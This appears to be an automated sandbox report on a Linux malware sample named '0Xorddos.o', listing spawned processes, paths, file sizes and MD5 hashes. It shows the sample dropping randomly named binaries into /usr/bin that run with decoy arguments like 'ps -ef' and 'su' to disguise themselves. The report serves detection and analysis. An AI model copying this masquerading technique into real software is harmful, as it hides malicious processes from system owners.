Analysis Process: cxictzyxcu PID: 5510, Parent PID: 5509

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	/usr/bin/cxictzyxcu "echo \"find\"" 5222
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: cxictzyxcu PID: 5511, Parent PID: 5510

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5512, Parent PID: 5222

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5513, Parent PID: 5512

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cxictzyxcu PID: 5513, Parent PID: 5512

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	/usr/bin/cxictzyxcu ifconfig 5222
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: cxictzyxcu PID: 5514, Parent PID: 5513

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5515, Parent PID: 5222

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5516, Parent PID: 5515

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cxictzyxcu PID: 5516, Parent PID: 5515

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	/usr/bin/cxictzyxcu "netstat -an" 5222
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: cxictzyxcu PID: 5518, Parent PID: 5516

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5517, Parent PID: 5222

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5519, Parent PID: 5517

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cxictzyxcu PID: 5519, Parent PID: 5517

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	/usr/bin/cxictzyxcu ls 5222
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: cxictzyxcu PID: 5520, Parent PID: 5519

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5521, Parent PID: 5222

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5522, Parent PID: 5521

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cxictzyxcu PID: 5522, Parent PID: 5521

General

Start time:	21:22:59
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	/usr/bin/cxictzyxcu bash 5222
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: cxictzyxcu PID: 5523, Parent PID: 5522

General

Start time:	21:23:00
Start date:	14/03/2022
Path:	/usr/bin/cxictzyxcu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	2930abf3b376ed3414bd8a59a8f8e1bf

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5526, Parent PID: 5222

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5527, Parent PID: 5526

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5527, Parent PID: 5526

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	/usr/bin/qfvvwlqqkq "ps -ef" 5222
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5528, Parent PID: 5527

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5529, Parent PID: 5222

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5530, Parent PID: 5529

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5530, Parent PID: 5529

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	/usr/bin/qfvvwlqqkq "grep \"A\"" 5222
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5531, Parent PID: 5530

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5532, Parent PID: 5222

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5533, Parent PID: 5532

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5533, Parent PID: 5532

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	/usr/bin/qfvvwlqqkq sh 5222
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5535, Parent PID: 5533

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5534, Parent PID: 5222

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5536, Parent PID: 5534

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5536, Parent PID: 5534

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	/usr/bin/qfvvwlqqkq su 5222
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5539, Parent PID: 5536

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5537, Parent PID: 5222

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5538, Parent PID: 5537

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5538, Parent PID: 5537

General

Start time:	21:23:05
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	/usr/bin/qfvvwlqqkq who 5222
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: qfvvwlqqkq PID: 5541, Parent PID: 5538

General

Start time:	21:23:06
Start date:	14/03/2022
Path:	/usr/bin/qfvvwlqqkq
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	0e70bb0814ee7b2c7ad5cf64f29d5619

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5546, Parent PID: 5222

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5547, Parent PID: 5546

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5547, Parent PID: 5546

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	/usr/bin/yfmoszlrcg bash 5222
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5548, Parent PID: 5547

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5549, Parent PID: 5222

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5550, Parent PID: 5549

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5550, Parent PID: 5549

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	/usr/bin/yfmoszlrcg id 5222
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5551, Parent PID: 5550

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5552, Parent PID: 5222

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5553, Parent PID: 5552

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5553, Parent PID: 5552

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	/usr/bin/yfmoszlrcg "netstat -an" 5222
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5556, Parent PID: 5553

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5554, Parent PID: 5222

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5555, Parent PID: 5554

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5555, Parent PID: 1860

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	/usr/bin/yfmoszlrcg ifconfig 5222
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5559, Parent PID: 5555

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5557, Parent PID: 5222

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5558, Parent PID: 5557

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5558, Parent PID: 1860

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	/usr/bin/yfmoszlrcg su 5222
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: yfmoszlrcg PID: 5560, Parent PID: 5558

General

Start time:	21:23:11
Start date:	14/03/2022
Path:	/usr/bin/yfmoszlrcg
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	60863a11322160a778609c30ecc68f82

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5563, Parent PID: 5222

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5564, Parent PID: 5563

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5564, Parent PID: 5563

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	/usr/bin/ohcvvmubid id 5222
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5567, Parent PID: 5564

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5565, Parent PID: 5222

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5566, Parent PID: 5565

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5566, Parent PID: 1860

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	/usr/bin/ohcvvmubid top 5222
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5570, Parent PID: 5566

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5568, Parent PID: 5222

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5569, Parent PID: 5568

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5569, Parent PID: 5568

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	/usr/bin/ohcvvmubid who 5222
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5573, Parent PID: 5569

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5571, Parent PID: 5222

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5572, Parent PID: 5571

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5572, Parent PID: 1860

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	/usr/bin/ohcvvmubid top 5222
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5576, Parent PID: 5572

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5574, Parent PID: 5222

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5575, Parent PID: 5574

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5575, Parent PID: 1860

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	/usr/bin/ohcvvmubid "ps -ef" 5222
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: ohcvvmubid PID: 5577, Parent PID: 5575

General

Start time:	21:23:16
Start date:	14/03/2022
Path:	/usr/bin/ohcvvmubid
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	c7ce206c868addcd2e0bc6024f6f630d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5580, Parent PID: 5222

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5581, Parent PID: 5580

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5581, Parent PID: 1860

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	/usr/bin/kswkpwzxrd "route -n" 5222
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5585, Parent PID: 5581

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5582, Parent PID: 5222

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5583, Parent PID: 5582

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5583, Parent PID: 1860

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	/usr/bin/kswkpwzxrd "cd /etc" 5222
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5589, Parent PID: 5583

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5584, Parent PID: 5222

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5586, Parent PID: 5584

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5586, Parent PID: 1860

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	/usr/bin/kswkpwzxrd "cd /etc" 5222
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5592, Parent PID: 5586

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5587, Parent PID: 5222

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5588, Parent PID: 5587

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5588, Parent PID: 1860

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	/usr/bin/kswkpwzxrd "ls -la" 5222
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5593, Parent PID: 5588

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5590, Parent PID: 5222

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5591, Parent PID: 5590

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5591, Parent PID: 1860

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	/usr/bin/kswkpwzxrd gnome-terminal 5222
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: kswkpwzxrd PID: 5594, Parent PID: 5591

General

Start time:	21:23:21
Start date:	14/03/2022
Path:	/usr/bin/kswkpwzxrd
Arguments:	n/a
File size:	625922 bytes
MD5 hash:	0fbca893d09e52c16eab105ba5aa9665

Chronological Activities

Analysis Process: systemd PID: 5234, Parent PID: 5233

General

Start time:	21:21:23
Start date:	14/03/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5234, Parent PID: 5233

General

Start time:	21:21:23
Start date:	14/03/2022
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities